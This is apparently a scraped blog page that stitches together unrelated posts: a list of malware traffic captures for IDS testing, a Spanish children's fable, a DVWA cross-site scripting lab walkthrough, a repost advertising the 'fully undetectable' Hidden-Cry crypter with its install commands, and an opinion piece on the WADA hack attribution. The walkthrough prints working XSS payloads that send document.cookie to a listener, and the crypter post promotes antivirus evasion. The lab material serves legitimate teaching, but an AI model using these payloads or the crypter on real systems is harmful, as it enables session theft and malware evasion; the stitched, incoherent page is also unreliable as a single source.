Custom disc dyes

Tuesday, May 19, 2020

Collection Of Pcap Files From Malware Analysis

Update: Feb 19. 2015

We have been adding pcaps to the collection so remember to check out the folder ( Pcap collection) for the recent pcaps.

I had a project to test some malicious and exploit pcaps and collected a lot of them (almost 1000) from various public sources. You can see them in the PUBLIC folder. The credits go to the authors of the pcaps listed in the name of each file. Please visit their blogs and sites to see more information about the pcaps, see their recent posts, and send them thanks. The public pcaps have no passwords on them.

Update:Dec 13. 2014

Despite rare updates of this post, we have been adding pcaps to the collection so remember to check out the folder ( Pcap collection (New link)) for the recent pcaps!

Update:Dec 31. 2013 - added new pcaps

I did some spring cleaning yesterday and came up with these malware and exploit pcaps. Such pcaps are very useful for IDS and signature testing and development, general education, and malware identification. While there are some online public sandboxes offering pcaps for download like Cuckoo or Anubis but looking for them is a tedious task and you cannot be totally sure the pcap is for the malware family supposedly analysed - in other words, if the sandbox says it is Zeus does not necessarily mean that it is.

I found some good pcap repositories here (http://www.netresec.com/?page=PcapFiles) but there are very few pcaps from malware.

These are from identified and verified (to the best of my knowledge and belief - email me if you find errors) malware samples.

All of them show the first stage with the initial callback and most have the DNS requests as well. A few pcaps show extended malware runs (e.g. purplehaze pcap is over 500mb).
Most pcaps are mine, a few are from online sandboxes, and one is borrowed from malware.dontneedcoffee.com. That said, I can probably find the corresponding samples for all that have MD5 listed if you really need them. Search contagio, some are posted with the samples.

Each file has the following naming convention:
BIN [RTF, PDF] - the filetype of the dropper used, malware family name, MD5, and year+month of the malware analysis.

I will be adding more pcaps in the future. Please donate your pcaps from identified samples, I am sure many of you have.

Thank you

Download

Download all together or separately.

All pcaps archives have the same password (same scheme), email me if you need it. I tried posting it without any passwords and pass infected but they get flagged as malware. Modern AV rips though zips and zips with the pass 'infected' with ease.

APT PCAPS

Download all together or separately.

2012-12-31 BIN_Xinmic_8761F29AF1AE2D6FACD0AE5F487484A5-pcap
2013-09-08 BIN_TrojanPage_86893886C7CBC7310F7675F4EFDE0A29-pcap
2013-09-08 BIN_Darkcomet_DC98ABBA995771480AECF4769A88756E-pcap
2013-09-02 8202_tbd_ 6D2C12085F0018DAEB9C1A53E53FD4D1-pcap
2013-09-02 BIN_8202_6d2c12085f0018daeb9c1a53e53fd4d1-pcap
2013-09-02 BIN_Vidgrab_6fd868e68037040c94215566852230ab-pcap
2013-09-02 BIN_PlugX_2ff2d518313475a612f095dd863c8aea-pcap
2013-09-02 BIN_Taidoor_46ef9b0f1419e26f2f37d9d3495c499f-pcap
2013-09-02 BIN_Vidgrab_660709324acb88ef11f71782af28a1f0-pcap
2013-09-02 BIN_Gh0st-gif_f4d4076dff760eb92e4ae559c2dc4525-pcap.zip
2013-07-15 BIN_Taleret.E_5328cfcb46ef18ecf7ba0d21a7adc02c.pcap
2013-05-14 BIN_Mediana_0AE47E3261EA0A2DBCE471B28DFFE007_2012-10.pcap
2013-05-14 BIN_Hupigon_8F90057AB244BD8B612CD09F566EAC0C
2013-05-14 BIN_LetsGo_yahoosb_b21ba443726385c11802a8ad731771c0_2011-07-19
2013-05-13 BIN_IXESHE_0F88D9B0D237B5FCDC0F985A548254F2-2013-05-pcap
2013-05-06 BIN_DNSWatch_protux_4F8A44EF66384CCFAB737C8D7ADB4BB8_2012-11-pcap
2013-05-06 BIN_9002_D4ED654BCDA42576FDDFE03361608CAA_2013-01-30-pcap
2013-05-06 BIN_BIN_RssFeeder_68EE5FDA371E4AC48DAD7FCB2C94BAC7-2012-06-pcap (not a common name, see the traffic ssheet http://bit.ly/maltraffic )
2013-04-30 BIN_MSWab_Yayih_FD1BE09E499E8E380424B3835FC973A8_us-pcap
2013-04-29 BIN_LURK_AF4E8D4BE4481D0420CCF1C00792F484_20120-10-pcap
2013-04-29 BIN_XTremeRAT_DAEBFDED736903D234214ED4821EAF99_2013-04-13-pcap
BIN_Enfal_Lurid_0fb1b0833f723682346041d72ed112f9_2013-01.pcap
BIN_Gh0st_variant-v2010_B1D09374006E20FA795B2E70BF566C6D_2012-08.pcap
BIN_Likseput_E019E37F19040059AB5662563F06B609_2012-10.pcap
BIN_Nettravler_1f26e5f9b44c28b37b6cd13283838366.pcap
BIN_Nettravler_DA5832657877514306EDD211DEF61AFE_2012-10.pcap
BIN_Sanny-Daws_338D0B855421867732E05399A2D56670_2012-10.pcap
BIN_Sofacy_a2a188cbf74c1be52681f998f8e9b6b5_2012-10.pcap
BIN_Taidoor_40D79D1120638688AC7D9497CC819462_2012-10.pcap
BIN_TrojanCookies_840BD11343D140916F45223BA05ABACB_2012_01.pcap
PDF_CVE-2011-2462_Pdf_2011-12.pcap
RTF_Mongall_Dropper_Cve-2012-0158_C6F01A6AD70DA7A554D48BDBF7C7E065_2013-01.pcap
OSX_DocksterTrojan.pcap

CRIMEWARE PCAPS

Download all together or separately.

2013-11-12_BIN_ChePro_2A5E5D3C536DA346849750A4B8C8613A-1.pcap
2013-10-15_BIN_cryptolocker_9CBB128E8211A7CD00729C159815CB1C.pcap
2013-09-20_BIN_Lader-dlGameoverZeus_12cfe1caa12991102d79a366d3aa79e9.pcap
2013-09-08 BIN_Tijcont_845B0945D5FE0E0AAA16234DC21484E0-pcap
2013-09-08 BIN_Kelihos_C94DC5C9BB7B99658C275B7337C64B33-pcap.zip
2013-08-19 BIN_Nitedrem_508af8c499102ad2ebc1a83fdbcefecb-pcap
2013-08-17 BIN_sality_CEAF4D9E1F408299144E75D7F29C1810-pcap
2013-08-15 BIN_torpigminiloader-pcap.zip
2013-13-08 EK_popads_109.236.80.170_2013-08-13.pcap
2013-11-08 BIN_Alinav5.3_4C754150639AA3A86CA4D6B6342820BE.pcap
2013-08-08 BIN_BitcoinMiner_F865C199024105A2FFDF5FA98F391D74-pcap
2013-08-07 BIN_ZeroAccess_Sirefef_C2A9CCC8C6A6DF1CA1725F955F991940_2013-08-pcap
2013-07-05 BIN_Kuluoz-Asprox_9F842AD20C50AD1AAB41F20B321BF84B
2013-05-31 Wordpress-Mutopy_Symmi_20A6EBF61243B760DD65F897236B6AD3-2pcap.pcap
2013-05-15 BIN_Zeus_b1551c676a54e9127cd0e7ea283b92cc-2012-04.pcap
2013-05-15 BIN_Gypthoy_3EE49121300384FF3C82EB9A1F06F288-2013-05.pcap
2013-05-12 BIN_PassAlert_B4A1368515C6C39ACEF63A4BC368EDB2-2013-05-13
2013-05-12 BIN_HorstProxy_EFE5529D697174914938F4ABF115F762-2013-05-13-pcap
2013-05-12 BIN_Bitcoinminer_12E717293715939C5196E604591A97DF-2013-05-12-pcap
2013-05-07 BIN_ZeroAccess_Sirefef_29A35124ABEAD63CD8DB2BBB469CBC7A_2013-05-pcapc
2013-05-05 BIN_PowerLoader_4497A231DA9BD0EEA327DDEC4B31DA12_2013-05-pcap
2013-05-05 BIN_GameThief_ECBA0FEB36F9EF975EE96D1694C8164C_2013-03-pcap
2013-05-05 BIN_PowerLoader_4497A231DA9BD0EEA327DDEC4B31DA12_2013-05-pcap
2013-04-27 EK_BIN_Blackhole_leadingto_Medfos_0512E73000BCCCE5AFD2E9329972208A_2013-04-pcap
2013-04-26 -- BIN_Citadel_3D6046E1218FB525805E5D8FDC605361-2013-04-samp
BIN_CitadelPacked_2012-05.pcap
BIN_CitadelUnpacked_2012-05.pcap
BIN_Cutwail_284Fb18Fab33C93Bc69Ce392D08Fd250_2012-10.pcap
BIN_Darkmegi_2012-04.pcap
BIN_DarknessDDoS_v8g_F03Bc8Dcc090607F38Ffb3A36Ccacf48_2011-01.pcap-
BIN_dirtjumper_2011-10.pcap
BIN_DNSChanger_2011-12.pcap
BIN_Drowor_worm_0f015bb8e2f93fd7076f8d178df2450d_2013-04.pcap
BIN_Googledocs_macadocs_2012-12.pcap
BIN_Imaut_823e9bab188ad8cb30c14adc7e67066d.pcap
BIN_IRCbot_c6716a417f82ccedf0f860b735ac0187_2013-04.pcap
BIN_Kelihos_aka_Nap_0feaaa4adc31728e54b006ab9a7e6afa.pcap
BIN_LoadMoney_MailRu_dl_4e801b46068b31b82dac65885a58ed9e_2013-04 .pcap
BIN_purplehaze-2012-01.pcap
BIN_ponyloader_470a6f47de43eff307a02f53db134289.pcap
BIN_Ramnitpcap_2012-01.pcap
BIN_Reedum_0ca4f93a848cf01348336a8c6ff22daf_2013-03.pcap
BIN_SpyEye_2010-02.pcap
BIN_Stabuniq_F31B797831B36A4877AA0FD173A7A4A2_2012-12.pcap
BIN_Tbot_23AAB9C1C462F3FDFDDD98181E963230_2012-12.pcap
BIN_Tbot_2E1814CCCF0C3BB2CC32E0A0671C0891_2012-12.pcap
BIN_Tbot_5375FB5E867680FFB8E72D29DB9ABBD5_2012-12.pcap
BIN_Tbot_A0552D1BC1A4897141CFA56F75C04857_2012-12.pcap
BIN_Tbot_FC7C3E087789824F34A9309DA2388CE5_2012-12.pcap
BIN_Tinba_2012-06.pcap
BIN_Vobfus_634AA845F5B0B519B6D8A8670B994906_2012-12.pcap
BIN_Xpaj_2012-05.pcap
BIN_ZeroAccess_3169969E91F5FE5446909BBAB6E14D5D_2012-10.pcap
BIN_ZeusGameover_2012-02.pcap
BIN_Zeus_2010-12.pcap
EK_Blackholev1_2012-03.pcap
EK_Blackholev1_2012-08.pcap
EK_Blackholev2_2012-09.pcap
EK_Blackhole_Java_CVE-2012-4681_2012-08.pcap
EK_Phoenix_2012-04.pcap
EK_Smokekt150(Malwaredontneedcoffee)_2012-09.pcap - credit malware.dontneedcoffee.com

Read more

Monday, May 18, 2020

El Cuento De "La Princesita De Ocho Piernas"

Hoy, cuando me he sentado a escribir el post diario de El lado del mal no quería ponerme a escribir de algo profesional. Tengo tres artículos rondando mi cabeza sobre temas técnicos y profesionales, pero hoy no me apetecía depurarlos y plasmarlos. Hoy hace sol, y quería dejar que el calor me bañara un poco. Quería dejar que el calorcito sacar algo más humano para el texto del día.

Figura 1: El cuento de "La princesita de ocho piernas"

Así que, os he traído uno de los cuentos que narro a Mi Hacker y Mi Survivor cuando el tiempo me lo permite. Como todo buen papaéte estoy sufriendo la pre-adolescencia de una niña, y si no la controlas, sus peticiones son infinitas. Me piden de todo y me compran - y hackean - con dibujos, manualidades, etcétera. Pero no las puedo dar todo lo que quieren.

View this post on Instagram
... y así me hackean mis salvajes }:)
A post shared by Chema Alonso (@chemaalonso) on May 17, 2020 at 2:51am PDT

No les puedo dar todo lo que quieren para que aprendan a priorizar y discernir entre lo que es necesario y lo que es accesorio. Entre la necesidad y el capricho, así que aprovechando a los personajes del Dragón Matías, el Rey Papá, Princesita, Chiquitina, Rapidín, Serpentina, etcétera, les creé este cuento "de mi boca" que os dejo hoy por aquí.

La Princesita de Ocho Piernas

Érase una vez que se era, una princesita muy presumida a la que su padre, el Rey Papá, cuidaba con mucho esmero y detalle. La Princesita era una niña estudiosa y trabajadora, aunque con algún arrebato de rabieta propio de su efervescencia debido a su edad. Con casi doce años estaba a punto de convertirse en una preciosa adolescente, y de vez en cuando – y solo de vez en cuando –, la energía que atesoraba le jugaba una mala pasada en su comportamiento.

No era nada grave, pero os voy a narrar la aventura que sucedió cuando el Dragón Matías, amigo personal del Rey Papá, se enfadó con Princesita y le impuso un curioso castigo.

Todo comenzó cuando la dulce princesita se acercó con sus grandes ojos color miel y le dijo a su papaete:

- "Rey Papá, Rey Papá, ¿me comprarías unos zapatos nuevos para el vestido nuevo que me compré la semana pasada".

El Rey Papá la miró, y sorprendido la contestó:

- "Princesita mía, compramos el vestido para los zapatos nuevos que tenías, ¿cómo es que ahora quieres unos zapatos nuevos para ese mismo vestido?"

La Princesita comenzó un principio de rabieta y dijo:

- "Rey Papá, Rey Papá, es que ya no me gustan esos zapatos y quiero otros nuevos. No seas malo con tu princesita y cómprame unos nuevos".

El Rey Papá refunfuñó e intentó hacer entrar en razón a la joven Princesita, pero lo único que obtuvo como respuesta a sus razonamientos fuero llantos, rabieta y más quejas de la joven que parecía la niña más desdichada del mundo. Tras media hora de llantos y quejas de la princesita, al final el Rey Papá claudicó y prometió llevar a su hija al día siguiente a comprar unos nuevos zapatos.

Llegado ese día, apareció en la puerta del castillo del Rey Papá su amigo el Dragón Matías para irse a volar por las montañas. Hacía tiempo que no salían juntos y habían quedado para ir al lago de la montaña del norte a darse unos baños en agua cristalina. Cuando llegó feliz, el Rey Papá le dijo:

- "Perdona Dragón Matías, se me olvidó que hoy teníamos la excursión y le he prometido a la princesita que la llevaría a comprar unos zapatos nuevos. Vamos a tener que cancelar la excursión".

El Dragón Matías se quedó consternado, pero no por la cancelación repentina de la excursión, sino por la evolución que estaba siguiendo la pequeña princesita. El Dragón Matías había cuidado de ella y de su hermana "Chiquitinia" desde que nacieron y estos ataques compra compulsiva y caprichosa no le parecían nada bien.

- "Rey Papá", dijo el Dragón Matías, "Tú eres consciente de que Princesita no necesita para nada esos zapatos, y que esta siendo caprichosa, ¿Verdad? ¿No crees que deberías hablar con ella y explicarla que no debería comprarse cosas que no necesite?

El Rey Papá le dio la razón al Dragón Matías y se excusó diciendo que se había puesto muy pesada y no sabía cómo conseguir que se tranquilizara. En ese momento el Rey Papá se sintió un poco avergonzado, pero el Dragón Matías lo consoló.

- "¿Me dejas hablar con ella, Rey Papá?", dijo el Dragón Matías.

El Rey Papá accedió a la petición, y permitió que el Dragón Matías hablara con Princesita. Esta se puso muy contenta cuando vio a su amigo "Matiítas" y le dio un fuerte abrazo. Después, el Dragón Matías habló con ella:

- "Princesita, obligar al Rey Papá a que te compre cosas que no necesitas por medio de llantos, rabietas y enfados, no está bien. Tú sabes que él te quiere muchísimo y no puede verte sufrir, pero es malo para tu educación tener todo lo que quieras aunque no lo necesites"

Princesita se enfadó mucho al oír eso. No quería quedarse sin sus zapatos nuevos, así que empezó a regañar al Dragón Matías por decirle eso.

- "Además", dijo la Princesita, "Los necesitó."

El Dragón Matías la miró pensativo y dijo:

- "No, no los necesitas, pero te voy a dar una pequeña lección. A partir de ahora, tantos zapatos nuevos tendrás, tantos zapatos nuevos necesitarás".

La Princesita se enfado mucho con el Dragón Matías pero siguió con sus planes y obligó al Rey Papá, poniendo sobre la mesa la promesa que le había sacado el día anterior, que la llevara de compras a por los nuevos zapatos. Y se compró unos nuevo y muy caros.

A la mañana siguiente llegó la sorpresa. Cuando Princesita se levantó por la mañana se encontró que tenía cuatro piernas en lugar de tener dos como todas las niñas. Al principio se asustó, pero luego recordó las palabras del Dragón Matías y, en lugar de reflexionar sobre la situación, decidió retar al viejo dragón.

Se vistió con un vestido precioso y se puso cuatro zapatos. Dos en sus dos pies izquierdos y dos en sus dos pies derechos, y se fue a por el Rey Papá sonriendo y decidida a continuar demostrando al Rey Papá y al Dragón Matías quién es la que mandaba en esa situación.

- "Rey Papá, mira que bien me quedan los zapatos nuevos con mis nuevas piernas que tengo gracias al Dragón Matías. Lo que pasa es que ahora necesito quita-y-pon así que tenemos que ir a comprar ahora mismo dos pares de zapatos nuevos".

El Rey Papá no daba crédito a lo que veía, pero Princesita iba feliz con sus cuatro piernas y sus dos pares de zapatos puestos a la vez. Así que, después de superar el susto y de aguantar unos lloros, gritos y pataletas de Princesita, accedió a llevar la de compras a por dos nuevos pares de zapatos.

A la vuelta, el Dragón Matías esperaba al Rey Papá y Princesita. Cuando llegaron, la joven Princesita traía en las manos bolsas con las nuevas compras. Dos nuevos pares de zapatos recién comprados. Cuando llegó a la altura del Dragón Matías le enseñó presumidamente sus cuatro piernas con sus dos pares de zapatos puestos y las bolsas con los nuevos. El Dragón Matías sonrió y dijo:

- "Recuerda Princesita, tantos zapatos tendrás, tantos zapatos necesitarás".

Princesita puso sus zapatos nuevos en el guardarropa de su habitación, en el armario destinado para ellos, y se fue feliz a dormir con sus nuevas compras. Ir de compras le hacía muy feliz y ganar al Dragón Matías y salir con la suya más todavía.

Pero al día siguiente…

Princesita se despertó y se alarmó. Su cama estaba llena de piernas. Le habían crecido cuatro nuevas piernas por la noche y eso ya no le gustaba nada. Tenía ocho piernas y parecía una araña, y eso no le gustaba nada, así que, en pijama, se fue corriendo y llorando a ver al Rey Papá:

- "Papaete, papaete, tengo ocho piernas y parezco una araña.. . Buahhhh, Buahhh".

El Rey Papá esperaba en el salón junto a su amigo el Dragón Matías, que la miró con detenimiento y dijo:

- "Bueno, Princesita, ahora ya has visto lo malo que es hacer de un capricho una necesidad, ¿verdad? Dime una cosa, ¿prefieres tener dos piernas y necesitar solo un par de zapatos o tener cuatro pares de zapatos y necesitarlos todos?"

Princesita, llorando, dijo:

- "Buahh, Buahhh, prefiero tener dos piernas y necesitar solo un par de zapatos. Pero por favor, vuelve a hacer que sea una niña normal".

El Dragón Matías, sopló un humo desde dentro y bañó a Princesita en el calor de su aliento. Cuando el humo se fue, la niña volvió a ser una persona de solo dos piernas.

- "Vete a tu habitación, Princesita, y vístete para desayunar. Yo quiero hablar con el Rey Papá", dijo el Dragón Matías.

Princesita se fue feliz, y el Dragón Matías se quedó mirando seriamente al Rey Papá, para decirle:

- "¿Has visto Rey Papá lo que sucede si le das a una Princesita más de lo que necesita? Harás que su capricho se convierta en una necesidad y dejará de ser una niña normal. Y eso nunca la hará feliz, como has visto".

El Rey Papá se sintió fatal y se disculpó ante el Dragón Matías, por haber dejado que los caprichos de su hija dictaran sus acciones y por haber faltado a su cita del lago. Se abrazaron, y al día siguiente disfrutaron de una preciosa excursión.

Por otro lado, a partir de ese día, Princesita siempre pensó muy mucho que es lo que necesitaba realmente, no fuera a ser que le salieran cuatro brazos, dos bocas, os dos cabezas. ¿Quién se puede fiar de los caprichos?

Y colorín colorado… FIN.

Otros cuentos de mi boca:

- Pequeñas historias de mi boca para hackers & survivors

- El Gigante de los juguetes

- La Hormiguita Valiente

- Serpentina y los quesos olorosos

- El batería suplente de los Goo Goo Dolls

- Papá Noel y el niño de la torre del reloj de Telefónica

Saludos Malignos!

Autor: Chema Alonso (Contactar con Chema Alonso)

More information

Learning Web Pentesting With DVWA Part 4: XSS (Cross Site Scripting)

In this article we are going to solve the Cross-Site Scripting Attack (XSS) challenges of DVWA app. Lets start by understanding what XSS attacks are. OWASP defines XSS as: "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page."
XSS attacks are usually used to steal user cookies which let attackers control the victim's account or to deface a website. The severity of this attack depends on what type of account is compromised by the attacker. If it is a normal user account, the impact may not be that much but if it is an admin account it could lead to compromise of the whole app or even the servers.

DOM, Sources, and Sinks:

DVWA has three types of XSS challenges. We'll describe them as we go through them in this article. But before we go about to solve these challenges we need to understand few things about a browser. We need to know what Document Object Model (DOM) is and what are sources & sinks. DOM is used by browsers as a hierarchical representation of elements in the webpage. Wikipedia defines DOM as "a cross-platform and language-independent interface that treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. The DOM represents a document with a logical tree". A source can be described simply as input that a user supplies. And a sink can be defined as "potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it". Javascript function eval() is an example of a sink.

DOM Based XSS:

Now lets solve our first XSS challenge which is a DOM based XSS challenge. DOM based XSS occurs when sources are passed to sinks without proper validation. An attacker passes specifically crafted input to the sink to cause undesirable effects to the web app.
"Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session."
On the DVWA app click on XSS (DOM), you will be presented with a page like this:

Keep an eye over the URL of the page. Now select a language and click the Select button. The URL should look like this now:

http://localhost:9000/vulnerabilities/xss_d/?default=English

We are making a GET request to the server and sending a default parameter with the language that we select. This default parameter is the source and the server is passing this source to the sink directly without any validation. Now lets try to exploit this vulnerability by changing the URL to this:

http://localhost:9000/vulnerabilities/xss_d/?default=<script>alert(XSS)</script>

When we hit enter after modifying the URL in the URL bar of the browser we should see an alert box popup with XSS written on it. This proves that the app is passing the data from source to sink without any validation now its time that we steal some cookies. Open another terminal or tab and setup a simple http server using python3 like this:

python3 -m http.server

By default the python http server runs on port 8000. Now lets modify the URL to steal the session cookies:

http://localhost:9000/vulnerabilities/xss_d/?default=<script>new Image().src="http://localhost:8000/?c="+document.cookie;</script>

The payload we have used here is from the github repository Payload all the things. It is an awesome repository of payloads. In this script, we define a new image whose source will be our python http server and we are appending user cookies to this request with the help of document.cookie javascript function. As can be seen in the image we get a request from the page as soon as the page loads with our xss payload and can see user cookies being passed with the request. That's it we have stolen the user cookies.

Reflected XSS:

Another type of XSS attack is called Reflected XSS Attack. OWASP describes Reflected XSS as those attacks "where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request."
To perform this type of attack, click on XSS (Reflected) navigation link in DVWA. After you open the web page you are presented with an input field that asks you to input your name.

Now just type your name and click on submit button. You'll see a response from server which contains the input that you provided. This response from the server which contains the user input is called reflection. What if we submit some javascript code in the input field lets try this out:

<script>alert("XSS")</script>

After typing the above javascript code in the input field click submit. As soon as you hit submit you'll see a pop-up on the webpage which has XSS written on it. In order to steal some cookies you know what to do. Lets use another payload from payload all the things. Enter the code below in the input field and click submit:

<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />

Here we are using img html tag and its onerror attribute to load our request. Since image x is not present on the sever it will run onerror javascipt function which performs a GET request to our python http server with user cookies. Like we did before.
Referencing OWASP again, it is mentioned that "Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."
Obviously you'll need your super awesome social engineering skills to successfully execute this type of attack. But yeah we are good guys why would we do so?

Stored XSS:

The last type of XSS attack that we are going to see is Stored XSS Attack. OWASP describes Stored XSS attacks as those attacks "where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."
To perform this type of XSS attack, click on XSS (Stored) navigation link in DVWA. As the page loads, we see a Guestbook Signing form.

In this form we have to provide our name and message. This information (name and message) is being stored in a database. Lets go for a test spin. Type your name and some message in the input fields and then click Sign Guestbook. You should see your name and message reflected down below the form. Now what makes stored XSS different from reflected XSS is that the information is stored in the database and hence will persist. When you performed a reflected XSS attack, the information you provided in the input field faded away and wasn't stored anywhere but during that request. In a stored XSS however our information is stored in the database and we can see it every time we visit the particular page. If you navigate to some other page and then navigate back to the XSS (Stored) page you'll see that your name and message is still there, it isn't gone. Now lets try to submit some javascript in the message box. Enter a name in the name input field and enter this script in the message box:

<script>alert(XSS)</script>

When we click on the Sign Guestbook button, we get a XSS alert message.
Now when you try to write your cookie stealing payload you notice you cannot put your payload in the box as the maximum input length for the textarea is set to 50. To get rid of this restriction, right-click on the textarea box and click inspect. Change or delete the maxlength="50" attribute in code:

<textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea>

to something like this:

<textarea name="mtxMessage" cols="50" rows="3"></textarea>

And now use your payload to steal some cookies:

<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />

Everytime a user visits this page you'll get his/her cookies (Sweet...). You don't need to send any links or try your super powerful social engineering skills to get user cookies. Your script is there in the database it will be loaded everytime a user visits this vulnerable page.
This is it for today see you next time.

References:

DOM-based vulnerabilities: https://portswigger.net/web-security/dom-based
DOM-based XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
Document Object Model: https://en.wikipedia.org/wiki/Document_Object_Model
Payload All the Things: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
Cross Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/

Continue reading

Hidden-Cry - Windows Crypter/Decrypter Generator With AES 256 Bits Key

Windows Crypter/Decrypter Generator with AES 256 bits key

Features:

Works on WAN: Port Forwarding by Serveo.net
Fully Undetectable (FUD) -> Don't Upload to virustotal.com!

Legal disclaimer:
Usage of Hidden-Cry for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

Usage:

git clone https://github.com/thelinuxchoice/hidden-cry
cd hidden-cry
apt-get update & apt-get install mingw-w64 -y
chmod +x hidden-cry
./hidden-cry

Author: github.com/thelinuxchoice
IG: instagram.com/linux_choice

Download Hidden-Cry

via KitPloitMore articles

Why (I Believe) WADA Was Not Hacked By The Russians

Disclaimer: This is my personal opinion. I am not an expert in attribution. But as it turns out, not many people in the world are good at attribution. I know this post lacks real evidence and is mostly based on speculation.

Let's start with the main facts we know about the WADA hack, in chronological order:

1. Some point in time (August - September 2016), the WADA database has been hacked and exfiltrated

2. August 15th, "WADA has alerted their stakeholders that email phishing scams are being reported in connection with WADA and therefore asks its recipients to be careful" https://m.paralympic.org/news/wada-warns-stakeholders-phishing-scams
3. September 1st, the fancybear.net domain has been registered

   Domain Name: FANCYBEAR.NET
   ...
   Updated Date: 18-sep-2016
   Creation Date: 01-sep-2016

4. The content of the WADA hack has been published on the website
5. The @FancyBears and @FancyBearsHT Twitter accounts have been created and started to tweet on 12th September, reaching out to journalists
6. 12th September, Western media started headlines "Russia hacked WADA"

7. The leaked documents have been altered, states WADA https://www.wada-ama.org/en/media/news/2016-10/cyber-security-update-wadas-incident-response

The Threatconnect analysis

The only technical analysis on why Russia was behind the hack, can be read here: https://www.threatconnect.com/blog/fancy-bear-anti-doping-agency-phishing/

After reading this, I was able to collect the following main points:

It is Russia because Russian APT groups are capable of phishing
It is Russia because the phishing site "wada-awa[.]org was registered and uses a name server from ITitch[.]com, a domain registrar that FANCY BEAR actors recently used"
It is Russia because "Wada-arna[.]org and tas-cass[.]org were registered through and use name servers from Domains4bitcoins[.]com, a registrar that has also been associated with FANCY BEAR activity."
It is Russia, because "The registration of these domains on August 3rd and 8th, 2016 are consistent with the timeline in which the WADA recommended banning all Russian athletes from the Olympic and Paralympic games."
It is Russia, because "The use of 1&1 mail.com webmail addresses to register domains matches a TTP we previously identified for FANCY BEAR actors."

There is an interesting side-track in the article, the case of the @anpoland account. Let me deal with this at the end of this post.

My problem with the above points is that all five flag was publicly accessible to anyone as TTP's for Fancy Bear. And meanwhile, all five is weak evidence. Any script kittie in the world is capable of both hacking WADA and planting these false-flags.

A stronger than these weak pieces of evidence would be:

Malware sharing same code attributed to Fancy Bear (where the code is not publicly available or circulating on hackforums)
Private servers sharing the IP address with previous attacks attributed to Fancy Bear (where the server is not a hacked server or a proxy used by multiple parties)
E-mail addresses used to register the domain attributed to Fancy Bear
Many other things

For me, it is quite strange that after such great analysis on Guccifer 2.0, the Threatconnect guys came up with this low-value post.

The fancybear website

It is quite unfortunate that the analysis was not updated after the documents have been leaked. But let's just have a look at the fancybear . net website, shall we?

Now the question is, if you are a Russian state-sponsored hacker group, and you are already accused of the hack itself, do you create a website with tons of bears on the website, and do you choose the same name (Fancy Bear) for your "Hack team" that is already used by Crowdstrike to refer to a Russian state-sponsored hacker group? Well, for me, it makes no sense. Now I can hear people screaming: "The Russians changed tactics to confuse us". Again, it makes no sense to change tactics on this, while keeping tactics on the "evidence" found by Threatconnect.

It makes sense that a Russian state-sponsored group creates a fake persona, names it Guccifer 2.0, pretends Guccifer 2.0 is from Romania, but in the end it turns out Guccifer 2.0 isn't a native Romanian speaker. That really makes sense.

What happens when someone creates this fancybear website for leaking the docs, and from the Twitter account reaches out to the media? Journalists check the website, they see it was done by Fancy Bear, they ~~Bing~~ Google this name, and clearly see it is a Russian state-sponsored hacker group. Some journalists also found the Threatconnect report, which seems very convincing for the first read. I mean, it is a work of experts, right? So you can write in the headlines that the hack was done by the Russians.

Just imagine an expert in the USA or Canada writing in report for WADA:
"the hack was done by non-Russian, but state-sponsored actors, who planted a lot of false-flags to accuse the Russians and to destroy confidence in past and future leaks". Well, I am sure this is not a popular opinion, and whoever tries this, risks his career. Experts are human, subject to all kinds of bias.

The Guardian

The only other source I was able to find is from The Guardian, where not just one side (it was Russia) was represented in the article. It is quite unfortunate that both experts are from Russia - so people from USA will call them being not objective on the matter. But the fact that they are Russian experts does not mean they are not true ...

https://www.theguardian.com/sport/2016/sep/15/fancy-bears-hackers--russia-wada-tues-leaks

Sergei Nikitin:
"We don't have this in the case of the DNC and Wada hacks, so it's not clear on what basis conclusions are being drawn that Russian hackers or special services were involved. It's done on the basis of the website design, which is absurd," he said, referring to the depiction of symbolically Russian animals, brown and white bears, on the "Fancy Bears' Hack Team" website.

I don't agree with the DNC part, but this is not the topic of conversation here.

Alexander Baranov:
"the hackers were most likely amateurs who published a "semi-finished product" rather than truly compromising information. "They could have done this more harshly and suddenly," he said. "If it was [state-sponsored] hackers, they would have dug deeper. Since it's enthusiasts, amateurs, they got what they got and went public with it.""

The @anpoland side-track

First please check the tas-cas.org hack https://www.youtube.com/watch?v=day5Aq0bHsA , I will be here when you finished it. This is a website for "Court of Arbitration for Sport's", and referring to the Threatconnect post, "CAS is the highest international tribunal that was established to settle disputes related to sport through arbitration. Starting in 2016, an anti-doping division of CAS began judging doping cases at the Olympic Games, replacing the IOC disciplinary commission." Now you can see why this attack is also discussed here.

My bet is that this machine was set-up for these @anpoland videos only. Whether google.ru is a false flag or it is real, hard to decide. It is interesting to see that there is no google search done via google.ru, it is used only once.
